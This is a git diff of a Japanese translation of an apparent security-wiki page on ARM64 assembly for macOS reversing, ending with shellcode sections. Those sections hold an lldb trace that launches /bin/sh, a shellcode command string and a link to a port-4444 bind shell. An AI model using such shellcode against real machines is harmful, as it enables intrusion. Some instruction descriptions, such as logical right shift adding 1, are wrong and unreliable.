* 減算では、大きな負の数が小さな正の数から減算される場合(またはその逆)、結果が与えられたビットサイズの範囲内に表現できない場合。
|
||||
* 明らかに、プロセッサは操作が符号付きかどうかを知らないため、符号付きまたは符号なしであったかにかかわらず、CおよびVを操作でチェックし、キャリーが発生したかどうかを示します。
|
||||
* 減算では、大きな負の数が小さな正の数から減算される(またはその逆)場合、結果が与えられたビットサイズの範囲内に表現できない場合。
|
||||
* 明らかに、プロセッサは操作が符号付きかどうかを知らないため、符号付きかどうかをチェックし、符号付きまたは符号なしの場合に発生したかどうかを示します。
|
||||
|
||||
{% hint style="warning" %}
|
||||
すべての命令がこれらのフラグを更新するわけではありません。**`CMP`**や**`TST`**のような一部の命令は、および**`ADDS`**のようなsサフィックスを持つ他の命令も更新します。
|
||||
|
@ -95,16 +95,16 @@ ARM64には、`x0`から`x30`までの**31個の汎用レジスタ**がありま
|
|||
* 現在の**レジスタ幅(`nRW`)**フラグ:フラグが値0を保持している場合、プログラムは再開後にAArch64実行状態で実行されます。
|
||||
* 現在の**例外レベル**(**`EL`**):EL0で実行される通常のプログラムは値0になります
|
||||
* **シングルステップ**フラグ(**`SS`**):デバッガが**`SPSR_ELx`**内のSSフラグを1に設定してシングルステップを実行するために使用します。プログラムはステップを実行し、シングルステップ例外を発行します。
|
||||
* **不正例外**状態フラグ(**`IL`**):特権ソフトウェアが無効な例外レベル転送を実行するときにマークされ、このフラグが1に設定され、プロセッサが不正な状態例外をトリガーします。
|
||||
* **不正例外**状態フラグ(**`IL`**):特権ソフトウェアが無効な例外レベル転送を実行したときにマークされ、このフラグが1に設定され、プロセッサは不正な状態例外をトリガーします。
|
||||
* **`DAIF`**フラグ:これらのフラグを使用すると、特権プログラムは特定の外部例外を選択的にマスクできます。
|
||||
* **`A`**が1の場合、**非同期アボート**がトリガーされます。**`I`**は外部ハードウェアの**割り込みリクエスト**(IRQ)に応答するように構成され、Fは**ファスト割り込みリクエスト**(FIR)に関連しています。
|
||||
* **スタックポインタ選択**フラグ(**`SPS`**):EL1およびそれ以上で実行される特権プログラムは、自分自身のスタックポインタレジスタとユーザーモデルのレジスタ(たとえば、`SP_EL1`と`EL0`の間)を切り替えることができます。この切り替えは、**`SPSel`**特殊レジスタに書き込むことによって実行されます。これはEL0からは行えません。
|
||||
* **`A`**が1の場合、**非同期中断**がトリガーされます。**`I`**は外部ハードウェア**割り込みリクエスト**(IRQ)に応答するように構成され、Fは**ファスト割り込みリクエスト**(FIR)に関連しています。
|
||||
* **スタックポインタ選択**フラグ(**`SPS`**):EL1およびそれ以上で実行される特権プログラムは、自分自身のスタックポインタレジスタとユーザーモデルのスタックポインタレジスタ(たとえば、`SP_EL1`と`EL0`の間)を切り替えることができます。この切り替えは、**`SPSel`**特殊レジスタに書き込むことによって実行されます。これはEL0からは行えません。
|
||||
|
||||
## **呼び出し規約(ARM64v8)**
|
||||
|
||||
ARM64呼び出し規約では、関数への最初の8つのパラメータは**`x0`から`x7`**のレジスタに渡されます。**追加**のパラメータは**スタック**に渡されます。**戻り値**は、レジスタ**`x0`**に返されるか、128ビットの場合は**`x1`**にも返されます。**`x19`**から**`x30`**および**`sp`**レジスタは、関数呼び出しを超えて**保存**される必要があります。
|
||||
ARM64呼び出し規約では、関数への最初の8つのパラメータは、**`x0`から`x7`**のレジスタに渡されます。**追加**のパラメータは**スタック**に渡されます。**戻り**値は、レジスタ**`x0`**に戻されるか、**128ビットの場合は**`x1`にも戻されます。**`x19`**から**`x30`**および**`sp`**レジスタは、関数呼び出しを超えて**保存**される必要があります。
|
||||
|
||||
アセンブリで関数を読む際には、**関数のプロローグとエピローグ**を探します。**プロローグ**では通常、**フレームポインタ(`x29`)を保存**し、**新しいフレームポインタを設定**し、**スタックスペースを割り当て**ます。**エピローグ**では通常、**保存されたフレームポインタを復元**し、関数から**戻り**ます。
|
||||
アセンブリで関数を読むときは、**関数のプロローグとエピローグ**を探します。**プロローグ**では通常、**フレームポインタ(`x29`)を保存**し、**新しいフレームポインタを設定**し、**スタックスペースを割り当て**します。**エピローグ**では通常、**保存されたフレームポインタを復元**し、関数から**戻り**ます。
|
||||
|
||||
### Swiftの呼び出し規約
|
||||
|
||||
|
@ -121,44 +121,44 @@ ARM64命令は一般的に、**`opcode dst, src1, src2`**の形式を持ち、**
|
|||
* **オフセットモード**: オリンポインタに影響を与えるオフセットが示されます。例:
|
||||
* `ldr x2, [x1, #8]`、これはx1 + 8からx2に値をロードします
|
||||
* `ldr x2, [x0, x1, lsl #2]`、これはx0の配列から、位置x1(インデックス)\* 4のオブジェクトをx2にロードします
|
||||
* **プリインデックスモード**: これは計算をオリジンに適用し、結果を取得して新しいオリジンをオリジンに格納します。
|
||||
* `ldr x2, [x1, #8]!`、これは`x1 + 8`を`x2`にロードし、`x1 + 8`の結果を`x1`に格納します
|
||||
* **プリインデックスモード**: これは、計算をオリジンに適用し、結果を取得して新しいオリジンをオリジンに格納します。
|
||||
* `ldr x2, [x1, #8]!`、これは`x1 + 8`を`x2`にロードし、`x1 + 8`の結果をx1に格納します
|
||||
* `str lr, [sp, #-4]!`、リンクレジスタをspに格納し、レジスタspを更新します
|
||||
* **ポストインデックスモード**: これは前のモードと同様ですが、メモリアドレスにアクセスしてからオフセットを計算して格納します。
|
||||
* `ldr x0, [x1], #8`、`x1`を`x0`にロードし、`x1 + 8`でx1を更新します
|
||||
* **PC相対アドレッシング**: この場合、ロードするアドレスはPCレジスタに対して相対的に計算されます
|
||||
* `ldr x1, =_start`、これは、`_start`シンボルが開始するアドレスを、現在のPCに関連してx1にロードします。
|
||||
* **`str`**: **レジスタ**から**メモリ**に値を**ストア**します。
|
||||
* 例: `str x0, [x1]` — これは`x0`の値を`x1`が指すメモリ位置にストアします。
|
||||
* **`str`**: **レジスタ**から**メモリ**に値を**格納**します。
|
||||
* 例: `str x0, [x1]` — これは`x0`の値を`x1`が指すメモリ位置に格納します。
|
||||
* **`ldp`**: **2つのレジスタ**を**連続するメモリ**位置から**ロード**します。メモリアドレスは通常、別のレジスタの値にオフセットを追加して形成されます。
|
||||
* 例: `ldp x0, x1, [x2]` — これは、それぞれ`x2`および`x2 + 8`のメモリ位置から`x0`および`x1`をロードします。
|
||||
* **`stp`**: **2つのレジスタ**を**連続するメモリ**位置に**ストア**します。メモリアドレスは通常、別のレジスタの値にオフセットを追加して形成されます。
|
||||
* 例: `stp x0, x1, [sp]` — これは、それぞれ`sp`および`sp + 8`のメモリ位置に`x0`および`x1`をストアします。
|
||||
* `stp x0, x1, [sp, #16]!` — これは、それぞれ`sp+16`および`sp + 24`のメモリ位置に`x0`および`x1`をストアし、`sp`を`sp+16`で更新します。
|
||||
* **`stp`**: **2つのレジスタ**を**連続するメモリ**位置に**格納**します。メモリアドレスは通常、別のレジスタの値にオフセットを追加して形成されます。
|
||||
* 例: `stp x0, x1, [sp]` — これは、それぞれ`sp`および`sp + 8`のメモリ位置に`x0`および`x1`を格納します。
|
||||
* `stp x0, x1, [sp, #16]!` — これは、それぞれ`sp+16`および`sp + 24`のメモリ位置に`x0`および`x1`を格納し、`sp`を`sp+16`で更新します。
|
||||
* **`add`**: 2つのレジスタの値を加算し、結果をレジスタに格納します。
|
||||
* 構文: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX\]
|
||||
* Xn1 -> 宛先
|
||||
* Xn2 -> オペランド1
|
||||
* Xn3 | #imm -> オペランド2 (レジスタまたは即値)
|
||||
* \[shift #N | RRX\] -> シフトまたはRRXを実行
|
||||
* \[shift #N | RRX\] -> シフトを実行またはRRXを呼び出す
|
||||
* 例: `add x0, x1, x2` — これは`x1`と`x2`の値を加算し、結果を`x0`に格納します。
|
||||
* `add x5, x5, #1, lsl #12` — これは4096に等しい(1を12回シフト) -> 1 0000 0000 0000 0000
|
||||
* **`adds`** これは`add`を実行し、フラグを更新します
|
||||
* **`sub`**: 2つのレジスタの値を引き算し、結果をレジスタに格納します。
|
||||
* **`add`** **構文**を確認してください。
|
||||
* 例: `sub x0, x1, x2` — これは`x1`から`x2`の値を引き、結果を`x0`に格納します。
|
||||
* **`subs`** これはsubと同じですが、フラグを更新します
|
||||
* **`subs`** これはsubと同様ですが、フラグを更新します
|
||||
* **`mul`**: 2つのレジスタの値を掛け算し、結果をレジスタに格納します。
|
||||
* 例: `mul x0, x1, x2` — これは`x1`と`x2`の値を掛け算し、結果を`x0`に格納します。
|
||||
* **`div`**: 1つのレジスタの値をもう1つで割り、結果をレジスタに格納します。
|
||||
* 例: `div x0, x1, x2` — これは`x1`を`x2`で割り、結果を`x0`に格納します。
|
||||
* **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
|
||||
* **論理左シフト**: 末尾に0を追加し、他のビットを前に移動します(n回2倍)
|
||||
* **論理右シフト**: 先頭に1を追加し、他のビットを後ろに移動します(符号なしでn回2で割る)
|
||||
* **算術右シフト**: **`lsr`**と同様ですが、最上位ビットが1の場合、\*\*1が追加されます(\*\*符号付きでn回2で割る)
|
||||
* **論理右シフト**: 先頭に1を追加し、他のビットを後ろに移動します(符号なしの場合はn回2で割る)
|
||||
* **算術右シフト**: **`lsr`**と同様ですが、最上位ビットが1の場合、1を追加します(符号付きの場合はn回2で割る)
|
||||
* **右に回転**: **`lsr`**と同様ですが、右から削除されたものは左に追加されます
|
||||
* **拡張付き右回転**: **`ror`**と同様ですが、キャリーフラグが「最上位ビット」として使用されます。つまり、キャリーフラグはビット31に移動し、削除されたビットはキャリーフラグに移動します。
|
||||
* **`bfm`**: **ビットフィールドムーブ**、これらの操作は値からビット`0...n`をコピーし、それらを位置`m..m+n`に配置します。 **`#s`**は**左端のビット**位置を指定し、**`#r`**は**右に回転する量**を指定します。
|
||||
* **拡張付き右回転**: **`ror`**と同様ですが、キャリーフラグを「最上位ビット」として使用します。つまり、キャリーフラグがビット31に移動し、削除されたビットがキャリーフラグに移動します。
|
||||
* **`bfm`**: **ビットフィールドムーブ**、これらの操作は値からビット`0...n`をコピーし、それらを位置`m..m+n`に配置します。**`#s`**は**左端のビット**位置を指定し、**`#r`**は**右に回転する量**を指定します。
|
||||
* ビットフィールドムーブ: `BFM Xd, Xn, #r`
|
||||
* 符号付きビットフィールドムーブ: `SBFM Xd, Xn, #r, #s`
|
||||
* 符号なしビットフィールドムーブ: `UBFM Xd, Xn, #r, #s`
|
||||
|
@ -169,43 +169,27 @@ ARM64命令は一般的に、**`opcode dst, src1, src2`**の形式を持ち、**
|
|||
* **`SBFX X1, X2, #3, #4`** X2からビット3から始まる4ビットを抽出し、符号拡張して結果をX1に配置します
|
||||
* **`UBFIZ X1, X2, #3, #4`** X2から4ビットをゼロ拡張し、右側のビットをゼロにしてX1のビット位置3から挿入します
|
||||
* **`UBFX X1, X2, #3, #4`** X2から始まる4ビットを抽出し、ゼロ拡張された結果をX1に配置します。
|
||||
* **Xに符号拡張:** 値の符号を拡張します(または符号なしバージョンでは単に0を追加します):
|
||||
* **Xに符号拡張:** 値の符号を拡張します(符号なしバージョンでは0を追加します):
|
||||
* **`SXTB X1, W2`** バイトの符号を拡張します **W2からX1** (`W2`は`X2`の半分) 64ビットを埋めるため
|
||||
* **`SXTH X1, W2`** 16ビット数の符号を拡張します **W2からX1** 64ビットを埋めるため
|
||||
* **`SXTW X1, W2`** バイトの符号を拡張します **W2からX1** 64ビットを埋めるため
|
||||
* **`UXTB X1, W2`** バイトに0を追加します(符号なし) **W2からX1** 64ビットを埋めるため
|
||||
* **`extr`:** 指定された**連結されたレジスタのビット**からビットを抽出します。
|
||||
* **`extr`:** 指定された**連結されたレジスタのビット**を抽出します。
|
||||
* 例: `EXTR W3, W2, W1, #3` これは**W1+W2**を連結し、**W2のビット3からW1のビット3まで**を取得してW3に格納します。
|
||||
* **`cmp`**: 2つのレジスタを比較し、条件フラグを設定します。これは、`subs`のエイリアスで、宛先レジスタをゼロレジスタに設定します。`m == n`かどうかを知るのに便利です。
|
||||
* **`subs`**と同じ構文をサポートします
|
||||
* **`cmp`**: 2つのレジスタを比較し、条件フラグを設定します。これは`subs`のエイリアスで、宛先レジスタをゼロレジスタに設定します。`m == n`かどうかを知るのに便利です。
|
||||
* **`subs`**と同じ構文をサポートしています
|
||||
* 例: `cmp x0, x1` — これは`x0`と`x1`の値を比較し、条件フラグを適切に設定します。
|
||||
* **`cmn`**: **負の比較**オペランド。この場合、`adds`のエイリアスで、同じ構文をサポートします。`m == -n`かどうかを知るのに便利です。
|
||||
* **`ccmp`**: 条件付き比較、前の比較が真の場合にのみ実行され、特定のnzcvビットが設定されます。
|
||||
* **`cmn`**: **負の比較**オペランド。この場合、`adds`のエイリアスであり、同じ構文をサポートします。`m == -n`かどうかを知るのに便利です。
|
||||
* **`ccmp`**: 条件付き比較、前の比較が真の場合にのみ実行され、特定のnzcvビットを設定します。
|
||||
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> x1 != x2かつx3 < x4の場合、funcにジャンプします
|
||||
* これは**前の`cmp`が`NE`だった場合にのみ`ccmp`が実行**されるためです。そうでない場合、ビット`nzcv`は0に設定されます(これは`blt`比較を満たしません)。
|
||||
* これは**前の`cmp`が`NE`だった場合にのみ`ccmp`が実行**されるためです。そうでない場合、ビット`nzcv`は0に設定されます(これは`blt`の比較を満たしません)。
|
||||
* これは`ccmn`としても使用できます(`cmp`と`cmn`のように)。
|
||||
* **`tst`**: 比較の値のいずれかが1であるかどうかをチェックします(結果をどこにも保存せずにANDSのように機能します)。値で指定されたレジスタのビットのいずれかが1かどうかをチェックするのに便利です。
|
||||
* 例: `tst X1, #7` X1の最後の3ビットのいずれかが1かどうかをチェックします
|
||||
* **`teq`**: 結果を破棄するXOR演算
|
||||
* **`b`**: 無条件分岐
|
||||
* 例: `b myFunction` 
|
||||
* これはリンクレジスタに戻りアドレスを格納しません(戻る必要のあるサブルーチン呼び出しには適していません)
|
||||
* **`bl`**: リンク付き分岐、**サブルーチン**を**呼び出す**ために使用されます。**`x30`に戻りアドレスを格納**します。
|
||||
* 例: `bl myFunction` — これは`myFunction`関数を呼び出し、戻りアドレスを`x30`に格納します。
|
||||
* これはリンクレジスタに戻りアドレスを格納しません(戻る必要のあるサブルーチン呼び出しには適していません)
|
||||
* **`blr`**: **レジスタに指定された**ターゲットを持つ**サブルーチン**を**呼び出す**ために使用される**リンク付き分岐**。戻りアドレスを`x30`に格納します。 (これは 
|
||||
* 例: `blr x1` — これは`x1`に含まれるアドレスの関数を呼び出し、戻りアドレスを`x30`に格納します。
|
||||
* **`ret`**: **サブルーチン**から**戻る**、通常は**`x30`**のアドレスを使用しています。
|
||||
* 例: `ret` — これは`x30`に格納された戻りアドレスを使用して現在のサブルーチンから戻ります。
|
||||
* **`b.<cond>`**: 条件付き分岐
|
||||
* **`b.eq`**: **等しい場合に分岐**、前の`cmp`命令に基づいています。
|
||||
* 例: `b.eq label` — 前の`cmp`命令で2つの等しい値が見つかった場合、`label`にジャンプします。
|
||||
* **`b.ne`**: **等しくない場合分岐**。この命令は条件フラグをチェックし(以前の比較命令で設定された)、比較された値が等しくない場合、指定されたラベルやアドレスに分岐します。
|
||||
* 例: `cmp x0, x1` 命令の後、`b.ne label` — もし `x0` と `x1` の値が等しくない場合、`label` にジャンプします。
|
||||
* **`cbz`**: **ゼロの場合分岐**。この命令はレジスタをゼロと比較し、等しい場合、指定されたラベルやアドレスに分岐します。
|
||||
* 例: `cbz x0, label` — もし `x0` の値がゼロの場合、`label` にジャンプします。
|
||||
* **`cbnz`**: **ゼロでない場合分岐**。この命令はレジスタをゼロと比較し、等しくない場合、指定されたラベルやアドレスに分岐します。
|
||||
* 例: `cbnz x0, label` — もし `x0` の値がゼロでない場合、`label` にジャンプします。
|
||||
* **`b.ne`**: **等しくない場合分岐**。この命令は条件フラグをチェックし(以前の比較命令で設定された)、比較した値が等しくない場合、指定されたラベルやアドレスに分岐します。
|
||||
* 例: `cmp x0, x1` 命令の後、`b.ne label` — `x0` と `x1` の値が等しくない場合、`label` にジャンプします。
|
||||
* **`cbz`**: **ゼロの場合分岐**。この命令はレジスタをゼロと比較し、等しい場合は指定されたラベルやアドレスに分岐します。
|
||||
* 例: `cbz x0, label` — `x0` の値がゼロの場合、`label` にジャンプします。
|
||||
* **`cbnz`**: **ゼロでない場合分岐**。この命令はレジスタをゼロと比較し、等しくない場合は指定されたラベルやアドレスに分岐します。
|
||||
* 例: `cbnz x0, label` — `x0` の値がゼロでない場合、`label` にジャンプします。
|
||||
* **`tbnz`**: ビットをテストして非ゼロの場合分岐
|
||||
* 例: `tbnz x0, #8, label`
|
||||
* **`tbz`**: ビットをテストしてゼロの場合分岐
|
||||
|
@ -221,12 +205,12 @@ ARM64命令は一般的に、**`opcode dst, src1, src2`**の形式を持ち、**
|
|||
* `cset Xd, Xn, Xm, cond` -> 真の場合、Xd = 1、偽の場合、Xd = 0
|
||||
* `csetm Xd, Xn, Xm, cond` -> 真の場合、Xd = \<all 1>、偽の場合、Xd = 0
|
||||
* **`adrp`**: シンボルの**ページアドレス**を計算し、レジスタに格納します。
|
||||
* 例: `adrp x0, symbol` — これは `symbol` のページアドレスを計算し、`x0` に格納します。
|
||||
* **`ldrsw`**: メモリから符号付き**32ビット**値を**64ビットに拡張**して**ロード**します。
|
||||
* 例: `ldrsw x0, [x1]` — これは `x1` が指すメモリ位置から符号付き32ビット値をロードし、64ビットに拡張して `x0` に格納します。
|
||||
* **`stur`**: レジスタの値を別のレジスタからのオフセットを使用してメモリ位置に**ストア**します。
|
||||
* 例: `stur x0, [x1, #4]` — これは `x1` に現在格納されているアドレスよりも4バイト大きいアドレスに `x0` の値を格納します。
|
||||
* **`svc`** : **システムコール**を行います。"Supervisor Call" の略です。プロセッサがこの命令を実行すると、**ユーザーモードからカーネルモードに切り替わり**、**カーネルのシステムコール処理**コードが格納されているメモリ内の特定の場所にジャンプします。
|
||||
* 例: `adrp x0, symbol` — `symbol` のページアドレスを計算し、`x0` に格納します。
|
||||
* **`ldrsw`**: メモリから符号付き**32ビット**値を**64ビットに符号拡張して**ロードします。
|
||||
* 例: `ldrsw x0, [x1]` — `x1` が指すメモリ位置から符号付き32ビット値をロードし、64ビットに符号拡張して `x0` に格納します。
|
||||
* **`stur`**: レジスタの値をメモリ位置に**ストア**し、別のレジスタからのオフセットを使用します。
|
||||
* 例: `stur x0, [x1, #4]` — `x1` に現在のアドレスより4バイト大きいアドレスに `x0` の値を格納します。
|
||||
* **`svc`** : **システムコール**を行います。"Supervisor Call" の略です。プロセッサがこの命令を実行すると、**ユーザーモードからカーネルモードに切り替わり**、**カーネルのシステムコール処理**コードがあるメモリ内の特定の場所にジャンプします。
|
||||
* 例:
|
||||
|
||||
```armasm
|
||||
|
@ -237,7 +221,7 @@ svc 0 ; システムコールを行います。
|
|||
|
||||
### **関数プロローグ**
|
||||
|
||||
1. **リンクレジスタとフレームポインタをスタックに保存**します:
|
||||
1. **リンクレジスタとフレームポインタをスタックに保存**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```armasm
|
||||
|
@ -246,7 +230,7 @@ stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement t
|
|||
{% endcode %}
|
||||
|
||||
2. **新しいフレームポインタを設定する**: `mov x29, sp` (現在の関数のために新しいフレームポインタを設定する)
|
||||
3. **ローカル変数用のスタック上のスペースを割り当てる**(必要な場合): `sub sp, sp, <size>`(ここで `<size>` は必要なバイト数です)
|
||||
3. **ローカル変数のためにスタック上にスペースを割り当てる**(必要な場合): `sub sp, sp, <size>`(ここで `<size>` は必要なバイト数です)
|
||||
|
||||
### **関数エピローグ**
|
||||
|
||||
|
@ -263,12 +247,12 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th
|
|||
|
||||
## AARCH32 実行状態
|
||||
|
||||
Armv8-A は 32 ビットプログラムの実行をサポートします。**AArch32** は **`A32`** と **`T32`** の **2 つの命令セット**のいずれかで実行でき、**`interworking`** を介してそれらの間を切り替えることができます。\
|
||||
**特権を持つ** 64 ビットプログラムは、例外レベルの転送を実行することで、**32 ビット**プログラムの実行をスケジュールできます。\
|
||||
64 ビットから 32 ビットへの移行は、例外レベルの低下によって行われます(たとえば、EL1 での 64 ビットプログラムが EL0 でのプログラムをトリガーする場合)。これは、`AArch32` プロセススレッドが実行される準備ができたときに、**`SPSR_ELx`** 特殊レジスタの **ビット 4 を 1 に設定**することで行われ、`SPSR_ELx` の残りの部分は **`AArch32`** プログラムの CPSR を格納します。その後、特権プロセスは **`ERET`** 命令を呼び出すことで、プロセッサが **`AArch32`** に遷移し、CPSR に応じて A32 または T32 に入ります\*\*。\*\*
|
||||
Armv8-A は 32 ビットプログラムの実行をサポートします。**AArch32** は、**`A32`** と **`T32`** の **2 つの命令セット**のいずれかで実行でき、**`interworking`** を介してそれらの間を切り替えることができます。\
|
||||
**特権を持つ** 64 ビットプログラムは、例外レベルの転送を実行することで、**32 ビットプログラムの実行をスケジュール**することができます。\
|
||||
64 ビットから 32 ビットへの移行は、例外レベルの低下によって行われます(たとえば、EL1 での 64 ビットプログラムが EL0 でのプログラムをトリガーする場合)。これは、`AArch32` プロセススレッドが実行される準備ができているときに、**`SPSR_ELx`** 特殊レジスタの **ビット 4 を 1 に設定**することで行われ、`SPSR_ELx` の残りの部分は **`AArch32`** プログラムの CPSR を格納します。その後、特権プロセスは **`ERET`** 命令を呼び出してプロセッサが **`AArch32`** に遷移し、CPSR に応じて A32 または T32 に入ります\*\*。\*\*
|
||||
|
||||
**`interworking`** は CPSR の J ビットと T ビットを使用して行われます。`J=0` かつ `T=0` は **`A32`** を意味し、`J=0` かつ `T=1` は **T32** を意味します。これは基本的に、命令セットが T32 であることを示すために **最下位ビットを 1 に設定**することを意味します。\
|
||||
これは **interworking 分岐命令**中に設定されますが、PC が宛先レジスタとして設定されている場合に他の命令で直接設定することもできます。例:
|
||||
**`interworking`** は、CPSR の J ビットと T ビットを使用して行われます。`J=0` かつ `T=0` は **`A32`** を意味し、`J=0` かつ `T=1` は **T32** を意味します。これは基本的に、命令セットが T32 であることを示すために **最下位ビットを 1 に設定**することを意味します。\
|
||||
これは、**interworking 分岐命令**で設定されますが、PC が宛先レジスタとして設定されている場合に他の命令で直接設定することもできます。例:
|
||||
|
||||
別の例:
|
||||
```armasm
|
||||
|
@ -283,7 +267,7 @@ mov r0, #8
|
|||
```
|
||||
### レジスタ
|
||||
|
||||
32ビットのレジスタが16個あります(r0-r15)。**r0からr14**まで、**どんな操作にも使用**できますが、一部は通常予約されています:
|
||||
32ビットのレジスタが16個あります(r0-r15)。**r0からr14**まで、**任意の操作**に使用できますが、一部は通常予約されています:
|
||||
|
||||
- **`r15`**:プログラムカウンタ(常に)。次の命令のアドレスが格納されます。A32では現在+8、T32では現在+4です。
|
||||
- **`r11`**:フレームポインタ
|
||||
|
@ -291,8 +275,8 @@ mov r0, #8
|
|||
- **`r13`**:スタックポインタ
|
||||
- **`r14`**:リンクレジスタ
|
||||
|
||||
さらに、レジスタは**`バンクレジスタ`**にバックアップされます。これは、例外処理や特権操作で**高速なコンテキストスイッチング**を実行するために、レジスタの値を保存しておく場所です。\
|
||||
これは、例外が発生したときに、プロセッサの状態を**`CPSR`**から例外が発生したプロセッサモードの**`SPSR`**に保存することで行われます。例外が返されると、**`CPSR`**は**`SPSR`**から復元されます。
|
||||
さらに、レジスタは**`バンク付きレジスタ`**にバックアップされます。これは、例外処理や特権操作で**高速なコンテキスト切り替え**を実行するために、レジスタの値を保存し、毎回手動で保存および復元する必要を避けるための場所です。\
|
||||
これは、例外が発生したプロセッサモードの`CPSR`からプロセッサの`SPSR`にプロセッサ状態を保存することによって行われます。例外が返されると、`CPSR`は`SPSR`から復元されます。
|
||||
|
||||
### CPSR - 現在のプログラムステータスレジスタ
|
||||
|
||||
|
@ -302,8 +286,8 @@ AArch32では、CPSRはAArch64の**`PSTATE`**と同様に機能し、例外が
|
|||
|
||||
フィールドはいくつかのグループに分かれています:
|
||||
|
||||
- アプリケーションプログラムステータスレジスタ(APSR):算術フラグとEL0からアクセス可能
|
||||
- 実行状態レジスタ:プロセスの動作(OSによって管理)
|
||||
- アプリケーションプログラムステータスレジスタ(APSR):算術フラグおよびEL0からアクセス可能
|
||||
- 実行状態レジスタ:プロセスの動作(OSによって管理される)。
|
||||
|
||||
#### アプリケーションプログラムステータスレジスタ(APSR)
|
||||
|
||||
|
@ -311,14 +295,14 @@ AArch32では、CPSRはAArch64の**`PSTATE`**と同様に機能し、例外が
|
|||
- **`Q`** フラグ:専用の飽和算術命令の実行中に**整数の飽和が発生する**ときに1に設定されます。一度**`1`**に設定されると、手動で0に設定されるまで値が維持されます。さらに、その値を暗黙的にチェックする命令はなく、値を読んで手動でチェックする必要があります。
|
||||
- **`GE`**(以上または等しい)フラグ:これはSIMD(Single Instruction, Multiple Data)操作で使用され、"parallel add"や"parallel subtract"などの操作に使用されます。これらの操作は、1つの命令で複数のデータポイントを処理できます。
|
||||
|
||||
たとえば、**`UADD8`** 命令は、並列に4組のバイト(2つの32ビットオペランドから)を追加し、結果を32ビットレジスタに格納します。次に、これらの結果に基づいて**`APSR`**の**`GE`** フラグを設定します。各GEフラグは、そのバイトペアの追加がオーバーフローしたかどうかを示します。
|
||||
たとえば、**`UADD8`** 命令は、並列に4組のバイト(2つの32ビットオペランドから)を追加し、結果を32ビットレジスタに格納します。次に、これらの結果に基づいて、**`APSR`**の**`GE`**フラグが設定されます。各GEフラグは1つのバイトの追加に対応し、そのバイトのペアの追加が**オーバーフローしたかどうか**を示します。
|
||||
|
||||
**`SEL`** 命令は、これらのGEフラグを使用して条件付きアクションを実行します。
|
||||
**`SEL`** 命令はこれらのGEフラグを使用して条件付きアクションを実行します。
|
||||
|
||||
#### 実行状態レジスタ
|
||||
|
||||
- **`J`** および **`T`** ビット:**`J`** は0であるべきで、**`T`** が0の場合はA32命令セットが使用され、1の場合はT32が使用されます。
|
||||
- **ITブロックステートレジスタ**(`ITSTATE`):これらは10-15および25-26のビットです。**`IT`** で接頭辞が付いたグループ内の命令の条件を格納します。
|
||||
- **`J`** および **`T`** ビット:**`J`** は0であるべきであり、**`T`** が0の場合はA32命令セットが使用され、1の場合はT32が使用されます。
|
||||
- **ITブロックステートレジスタ**(`ITSTATE`):これらは10-15および25-26のビットです。これらは、**`IT`** 接頭辞のグループ内の命令の条件を格納します。
|
||||
- **`E`** ビット:**エンディアンネス**を示します。
|
||||
- **モードおよび例外マスクビット**(0-4):現在の実行状態を決定します。**5番目**のビットは、プログラムが32ビット(1)または64ビット(0)で実行されているかを示します。他の4つは、**使用中の例外モード**(例外が発生し処理されている場合)を表します。数値セットは、これが処理されている間に別の例外が発生した場合の**現在の優先度**を示します。
|
||||
|
||||
|
@ -333,9 +317,36 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib
|
|||
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
|
||||
```
|
||||
{% hint style="success" %}
|
||||
時々、いくつかのシステムコール(BSDとMach)のコードがスクリプトを介して生成されるため、**`libsystem_kernel.dylib`** から**逆コンパイル**されたコードをチェックする方がソースコードをチェックするよりも簡単です(ソースコードのコメントをチェックしてください)。dylibでは、何が呼び出されているかがわかります。
|
||||
時々、ソースコードの代わりに **`libsystem_kernel.dylib`** から**逆コンパイル**されたコードをチェックする方が簡単です。なぜなら、いくつかのシステムコール(BSDとMach)のコードはスクリプトを介して生成されるため(ソースコードのコメントをチェックしてください)、dylibでは呼び出されている内容を見つけることができます。
|
||||
{% endhint %}
|
||||
|
||||
### objc\_msgSend
|
||||
|
||||
Objective-CやSwiftプログラムでよく見られる関数です。この関数はObjective-Cオブジェクトのメソッドを呼び出すことを可能にします。
|
||||
|
||||
パラメータ([詳細はドキュメントを参照](https://developer.apple.com/documentation/objectivec/1456712-objc\_msgsend)):
|
||||
|
||||
* x0: self -> インスタンスへのポインタ
|
||||
* x1: op -> メソッドのセレクタ
|
||||
* x2... -> 呼び出されるメソッドの残りの引数
|
||||
|
||||
したがって、この関数への分岐前にブレークポイントを設定すると、lldbで呼び出される内容を簡単に見つけることができます(この例では、オブジェクトが`NSConcreteTask`からのオブジェクトを呼び出し、コマンドを実行します)。
|
||||
```
|
||||
(lldb) po $x0
|
||||
<NSConcreteTask: 0x1052308e0>
|
||||
|
||||
(lldb) x/s $x1
|
||||
0x1736d3a6e: "launch"
|
||||
|
||||
(lldb) po [$x0 launchPath]
|
||||
/bin/sh
|
||||
|
||||
(lldb) po [$x0 arguments]
|
||||
<__NSArrayI 0x1736801e0>(
|
||||
-c,
|
||||
whoami
|
||||
)
|
||||
```
|
||||
### シェルコード
|
||||
|
||||
コンパイルするには:
|
||||
|
@ -408,7 +419,7 @@ return 0;
|
|||
[**こちら**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s)から取得し、説明します。
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="with adr" %}
|
||||
{% tab title="adrを使用" %}
|
||||
```armasm
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
||||
|
@ -528,7 +539,7 @@ touch_command: .asciz "touch /tmp/lalala"
|
|||
```
|
||||
#### バインドシェル
|
||||
|
||||
[https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) からのバインドシェルを**ポート4444**で提供します。
|
||||
